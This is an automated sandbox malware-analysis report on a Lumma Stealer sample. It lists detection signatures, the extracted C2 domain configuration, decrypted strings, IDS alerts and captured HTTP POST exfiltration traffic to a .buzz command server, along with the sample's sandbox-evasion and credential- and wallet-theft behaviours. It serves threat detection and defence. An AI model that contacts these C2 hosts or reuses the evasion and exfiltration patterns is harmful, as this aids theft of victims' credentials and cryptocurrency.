Edit tour

Windows Analysis Report
Wvo9FU4qo9.exe

Overview

General Information

Sample name:	Wvo9FU4qo9.exe renamed because original name is a hash value
Original sample name:	d65dfaafd41de8a252a930da84763e79.exe
Analysis ID:	1581390
MD5:	d65dfaafd41de8a252a930da84763e79
SHA1:	0519330da9c1f922266baddeffd933b3b0a5f705
SHA256:	4448ef4ccedffb399427afd699eb2fdfbbdd74da541bf38bce45b2bab2efde42
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

Wvo9FU4qo9.exe (PID: 6596 cmdline: "C:\Users\user\Desktop\Wvo9FU4qo9.exe" MD5: D65DFAAFD41DE8A252A930DA84763E79)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["appliacnesot.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1602681941.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Wvo9FU4qo9.exe PID: 6596	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: Wvo9FU4qo9.exe PID: 6596	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: Wvo9FU4qo9.exe PID: 6596	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:53:24.925894+0100	2028371	3	Unknown Traffic	192.168.2.9	49706	104.21.11.101	443	TCP
2024-12-27T14:53:27.099697+0100	2028371	3	Unknown Traffic	192.168.2.9	49707	104.21.11.101	443	TCP
2024-12-27T14:53:30.119269+0100	2028371	3	Unknown Traffic	192.168.2.9	49708	104.21.11.101	443	TCP
2024-12-27T14:53:32.414989+0100	2028371	3	Unknown Traffic	192.168.2.9	49709	104.21.11.101	443	TCP
2024-12-27T14:53:34.696988+0100	2028371	3	Unknown Traffic	192.168.2.9	49710	104.21.11.101	443	TCP
2024-12-27T14:53:37.781848+0100	2028371	3	Unknown Traffic	192.168.2.9	49712	104.21.11.101	443	TCP
2024-12-27T14:53:40.357787+0100	2028371	3	Unknown Traffic	192.168.2.9	49714	104.21.11.101	443	TCP
2024-12-27T14:53:43.243801+0100	2028371	3	Unknown Traffic	192.168.2.9	49715	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:53:25.686371+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49706	104.21.11.101	443	TCP
2024-12-27T14:53:27.853969+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49707	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:53:25.686371+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49706	104.21.11.101	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:53:27.853969+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49707	104.21.11.101	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-27T14:53:30.964950+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49708	104.21.11.101	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Wvo9FU4qo9.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://mindhandru.buzz:443/apiion.txtPK	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/l	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/api0	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/gL0	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/ZQ	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/pi=	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz:443/apixxd8pi.default-release/key4.dbPK	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/apiryBI	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/%	Avira URL Cloud: Label: malware
Source: https://mindhandru.buzz/3e	Avira URL Cloud: Label: malware

Found malware configuration

Source: Wvo9FU4qo9.exe.6596.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["appliacnesot.buzz", "hummskitnj.buzz", "rebuildeso.buzz", "prisonyfork.buzz", "mindhandru.buzz", "cashfuzysao.buzz", "scentniej.buzz", "inherineau.buzz", "screwamusresz.buzz"], "Build id": "PsFKDg--pablo"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: Wvo9FU4qo9.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: hummskitnj.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: cashfuzysao.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: appliacnesot.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: screwamusresz.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: inherineau.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: scentniej.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: rebuildeso.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: prisonyfork.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: mindhandru.buzz
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1463418410.0000000004C90000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe

Code function: 0_2_004C57C0 CryptUnprotectData,

0_2_004C57C0

Source: Wvo9FU4qo9.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.11.101:443 -> 192.168.2.9:49714 version: TLS 1.2

Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_004F0340
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov edx, ebx	0_2_004B8600
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	0_2_004B8A50
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	0_2_004BCC7A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	0_2_004F0D20
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_004DD34A
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov eax, ebx	0_2_004D7440
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	0_2_004D7440
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_004F1720
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_004D1A10
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_004DE0DA
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_004DC0E6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_004DC09E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_004DC09E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov eax, dword ptr [004F6130h]	0_2_004C8169
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_004D81CC
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_004E6210
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov ecx, eax	0_2_004CC300
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_004D83D8
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx edx, byte ptr [eax+edi-74D5A7FEh]	0_2_004DC465
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_004DC465
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_004D8528
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov edi, ecx	0_2_004DA5B6
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_004F06F0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_004DC850
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then push esi	0_2_004BC805
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_004D2830
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx+04h]	0_2_004EC830
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov eax, ebx	0_2_004CC8A0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx esi, byte ptr [esp+eax-000000BEh]	0_2_004CC8A0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+edx+0Ah]	0_2_004CC8A0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-2E3D7ACEh]	0_2_004CC8A0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_004D89E9
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 385488F2h	0_2_004EC990
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 385488F2h	0_2_004ECA40
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_004DAAC0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+0Ah]	0_2_004BAB40
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov edx, ecx	0_2_004C8B1B
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-6E2DD57Fh]	0_2_004CEB80
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_004C4CA0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov edx, ecx	0_2_004D6D2E
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx esi, byte ptr [ebp+eax-46h]	0_2_004EEDC1
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	0_2_004ECDF0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx esi, byte ptr [esp+ecx-3ECB279Fh]	0_2_004ECDF0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 2213E57Fh	0_2_004ECDF0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 7F7BECC6h	0_2_004ECDF0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov ecx, eax	0_2_004D2E6D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then jmp edx	0_2_004D2E6D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ecx, byte ptr [edx+eax]	0_2_004D2E6D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx eax, byte ptr [ebp+edi+00000090h]	0_2_004B2EB0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_004C6F52
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov esi, ecx	0_2_004D90D0
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-16h]	0_2_004F1160
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov ecx, eax	0_2_004DD17D
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then cmp byte ptr [esi+ebx], 00000000h	0_2_004DB170
Source: C:\Users\user\Desktop\Wvo9FU4qo9.exe	Code function: 4x nop then mov ecx, eax	0_2_004DD116

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49707 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49708 -> 104.21.11.101:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: appliacnesot.buzz
Source: Malware configuration extractor	URLs: hummskitnj.buzz
Source: Malware configuration extractor	URLs: rebuildeso.buzz
Source: Malware configuration extractor	URLs: prisonyfork.buzz
Source: Malware configuration extractor	URLs: mindhandru.buzz
Source: Malware configuration extractor	URLs: cashfuzysao.buzz
Source: Malware configuration extractor	URLs: scentniej.buzz
Source: Malware configuration extractor	URLs: inherineau.buzz
Source: Malware configuration extractor	URLs: screwamusresz.buzz

Source: Joe Sandbox View

IP Address: 104.21.11.101 104.21.11.101

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49709 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49706 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49715 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49708 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49712 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49710 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49714 -> 104.21.11.101:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.9:49707 -> 104.21.11.101:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WUVI3FHSMML5APVA03User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12845Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=5FN8ST4A6706JWPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15045Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=4FKDDQ2WHQ9K9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20549Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QX3UE1VKMK0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1178Host: mindhandru.buzz
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=A4F5BK7ZNQIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552278Host: mindhandru.buzz

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: mindhandru.buzz

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: mindhandru.buzz

Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Wvo9FU4qo9.exe, 00000000.00000003.1641288958.0000000000FA5000.00000004.00000020.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1669919961.0000000000FB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Wvo9FU4qo9.exe, 00000000.00000003.1570420563.0000000005872000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696495411400900000.2&ci=1696495411208.
Source: Wvo9FU4qo9.exe, 00000000.00000003.1571718696.00000000058A5000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1571675942.00000000058A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696495411400900000.1&ci=1696495411208.12791&cta
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Wvo9FU4qo9.exe, 00000000.00000003.1525110185.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525222713.00000000057FA000.00000004.00000800.00020000.00000000.sdmp, Wvo9FU4qo9.exe, 00000000.00000003.1525039980.00000000057FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
